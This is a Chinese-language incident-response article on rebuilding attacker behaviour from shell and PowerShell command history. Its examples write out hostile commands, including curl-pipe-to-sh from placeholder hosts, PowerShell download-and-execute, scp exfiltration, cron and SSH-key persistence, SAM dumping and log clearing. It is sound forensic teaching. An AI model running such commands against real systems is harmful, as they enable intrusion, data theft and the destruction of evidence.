命令行历史取证与攻击者行为还原

命令行历史取证与攻击者行为还原

在很多应急现场,分析人员最想拿到的不是恶意样本,而是攻击者亲手敲下的那几行命令。因为命令行历史往往直接暴露攻击者的真实意图:他是来探测环境、提权控机、横向移动,还是打包窃密。

但命令历史又恰恰是最容易被误解、也最容易被清理的证据之一。0x02电子取证 已经介绍了 Linux 的 history / fc,以及 Windows 下的 doskey 等基础入口。本文进一步讨论,如何把这些碎片化痕迹提升为攻击者行为还原能力。


0x01 命令历史为什么重要

从分析价值上看,命令历史通常能直接回答以下问题:

  • 攻击者进入后第一时间确认了什么信息
  • 是否进行了权限探测和提权尝试
  • 是否下载过载荷、工具或脚本
  • 是否打过压缩包、创建用户、添加计划任务
  • 是否执行过横向移动或数据外传命令

相比单纯的日志 ID 或网络五元组,命令行往往包含更直接的语义。例如:

  • whoami && id && uname -a
  • net user test P@ssw0rd /add
  • curl http://x.x.x.x/a.sh | sh
  • powershell -enc ...
  • rar a backup.rar /home/data

这些命令几乎可以直接映射为攻击阶段。


0x02 Linux:bash_history 并不是全部真相

Linux 下最常见的命令痕迹文件包括:

  • ~/.bash_history
  • ~/.zsh_history
  • /root/.bash_history
  • 其他 shell 的历史文件

1. 历史写入机制决定了它可能“不完整”

很多人误以为,攻击者敲下的每条命令都会实时写入 ~/.bash_history。实际上默认行为通常是:

  1. 命令先进入当前 shell 的内存缓存
  2. 用户正常退出时才写回历史文件
  3. 新会话启动时再从历史文件加载

这意味着几种常见情况会导致你看不到完整历史:

  • 攻击者会话异常断开
  • 进程被杀,未正常退出
  • 使用非交互式命令执行
  • 使用脚本批量运行而非手敲
  • 主动禁用了 HISTFILE

因此,历史文件中的“空白”不代表“没有执行过”。

2. Linux 下应重点关注的行为模式

从攻击链角度看,以下命令值得重点提取与归类:

环境探测

whoami
id
uname -a
hostname
ip a
ss -antlp
cat /etc/passwd

权限与凭据获取

sudo -l
su -
find / -perm -4000 -type f 2>/dev/null
cat ~/.ssh/authorized_keys

下载与执行

curl -O http://x.x.x.x/a
wget http://x.x.x.x/b.sh
chmod +x a && ./a
python -c '...'

持久化

echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
crontab -e
systemctl enable xxx.service
echo "@reboot /tmp/.sys.sh" >> /var/spool/cron/root

数据打包与外传

tar czf data.tar.gz /var/www
zip -r web.zip /home/app
scp data.tar.gz user@x.x.x.x:/tmp/
rsync -avz /data remote:/backup

如果这些动作在短时间内连续出现,攻击路径往往非常清晰。


0x03 Windows:不要只看 doskey

Windows 下的命令历史比 Linux 更分散,常见来源包括:

  • doskey /history 的当前会话缓存
  • PowerShell 历史文件
  • PowerShell Script Block Logging
  • ConsoleHost / conhost 相关内存痕迹
  • Windows 事件日志中的进程创建信息

1. doskey 的局限性

doskey /history 只能看到当前控制台会话的命令缓冲区,存在明显局限:

  • 只能看当前窗口
  • 关闭窗口后通常丢失
  • 看不到其他 RDP 会话、其他用户会话
  • 无法覆盖 PowerShell 脚本执行链

所以它更像现场勘查工具,而不是事后还原主证据。

2. PowerShell 历史与日志更有价值

现代入侵里,PowerShell 是极高频的攻击载体。分析重点包括:

  • ConsoleHost_history.txt
  • PowerShell Operational 日志
  • Script Block Logging
  • Module Logging
  • 4688 进程创建日志中的命令行参数

典型高风险命令特征:

  • powershell -nop -w hidden -enc
  • Invoke-Expression
  • DownloadString
  • IEX(New-Object Net.WebClient).DownloadString(...)
  • FromBase64String
  • Add-MpPreference -ExclusionPath

如果主机开启了 PowerShell 高级日志,分析价值通常远高于 doskey


0x04 行为还原的四步法

命令行分析不应停留在“找到几条可疑命令”,而应尽量形成可推演的行为链。

1. 给命令分类

建议先按目的分类:

  • 环境探测
  • 身份与权限探测
  • 下载执行
  • 横向移动
  • 持久化
  • 清痕反取证
  • 打包外传

分类之后,你会发现攻击者通常不是无序操作,而是在按步骤推进。

2. 给命令补时间

有时间戳最好,没有时间戳也要想办法补全:

  • HISTTIMEFORMAT
  • PowerShell 日志时间
  • 进程创建日志时间
  • 文件创建 / 修改时间
  • 网络连接时间

时间一旦补齐,就能判断顺序关系。例如:

  1. whoami
  2. sudo -l
  3. curl http://x.x.x.x/tool
  4. chmod +x tool
  5. crontab -e

这就是一条清晰的“探测 -> 提权 -> 落地 -> 驻留”链。

3. 给命令找证据回声

每条关键命令都应尽量找到对应“回声”:

  • useradd test 对应 /etc/passwd 变化
  • schtasks /create 对应任务 XML 与 4698
  • curl -O 对应文件落地时间
  • rar a 对应压缩包生成时间
  • net usewmic 对应横向日志与连接记录

只有命令和结果能互相印证,这条命令才能成为可信证据。

4. 识别反取证动作

攻击者很少会老老实实留下全部命令历史。命令本身往往也会暴露清痕意图,例如:

history -c
unset HISTFILE
rm -f ~/.bash_history
wevtutil cl Security
Clear-History
Remove-Item (Get-PSReadLineOption).HistorySavePath

看到这些命令时,不应只把它们视作“一条命令”,而应立即上升为“攻击者开始清理证据”的分水岭事件。


0x05 三种常见误区

1. 误把历史文件当全部事实

命令历史只能说明“有记录的部分发生过”,不能说明“没记录的部分就没发生”。攻击者完全可能使用以下方式绕过:

  • 非交互 shell
  • 脚本批量执行
  • RDP 中复制粘贴脚本
  • 远控木马直接调用 API 而非 shell

2. 误把运维操作当入侵行为

分析命令时一定要结合身份、时间和上下文。例如:

  • 运维在凌晨发布业务
  • 自动化脚本执行批量备份
  • 运维平台定时推送补丁

同样是 tar, scp, systemctl, schtasks,其含义可能完全不同。

3. 只盯“恶意工具名”

成熟攻击者越来越多使用系统自带工具,也就是 LOLBin / Living off the Land。

例如:

  • Windows:certutil, bitsadmin, mshta, rundll32
  • Linux:curl, bash, python, openssl, tar

真正应关注的是命令意图和上下文,而不是工具名称本身。


0x06 从命令链判断攻击阶段

下面给出一个简化的判断示例:

1. 侦察阶段

  • whoami
  • hostname
  • ipconfig /all
  • net user
  • systeminfo

说明攻击者刚进入,正在认知环境。

2. 武器化与提权阶段

  • sudo -l
  • wmic service list
  • find / -perm -4000
  • mimikatz, procdump, reg save hklm\sam

说明攻击者开始寻找更高权限或凭据。

3. 建立稳定控制阶段

  • schtasks /create
  • sc create
  • echo ssh-rsa ... >> authorized_keys
  • systemctl enable

说明攻击者进入持久化阶段。

4. 横向与外传阶段

  • wmic /node:
  • psexec
  • ssh user@host
  • rar a, 7z a, scp, curl -T

说明攻击者开始扩大影响或准备窃密。

把命令按阶段整理后,哪怕没有完整样本,也能较准确地描述攻击进程。


0x07 实战建议:命令历史如何纳入交付物

建议把关键命令历史整理为如下结构:

时间用户命令分类关联证据判断
02:11:04www-datacurl http://x.x.x.x/a.sh -o /tmp/a.sh下载执行/tmp/a.sh 落地攻击者落地载荷
02:11:20rootchmod +x /tmp/a.sh && /tmp/a.sh执行新进程、外联木马启动
02:12:03rootecho "@reboot /tmp/a.sh" >> /var/spool/cron/root持久化cron 文件修改建立驻留
02:13:31roothistory -c反取证历史断层尝试清痕

这种结构非常适合写入应急报告,既清晰又便于复核。


0x08 总结

命令行历史是应急响应中最接近攻击者“主观意图”的证据,但它从来都不是一个可以孤立相信的证据源。

真正高价值的做法是:

  • 用命令历史恢复行为顺序
  • 用日志、文件、进程和流量去印证它
  • 用历史缺失、清理命令和断层识别反取证

当你不再满足于“看到了一条 curl 命令”,而是能够进一步说明“攻击者在何时、以何身份、出于何目的、配合了哪些后续动作”时,0x02 的命令行采集就真正升级成了 0x03 的行为分析能力。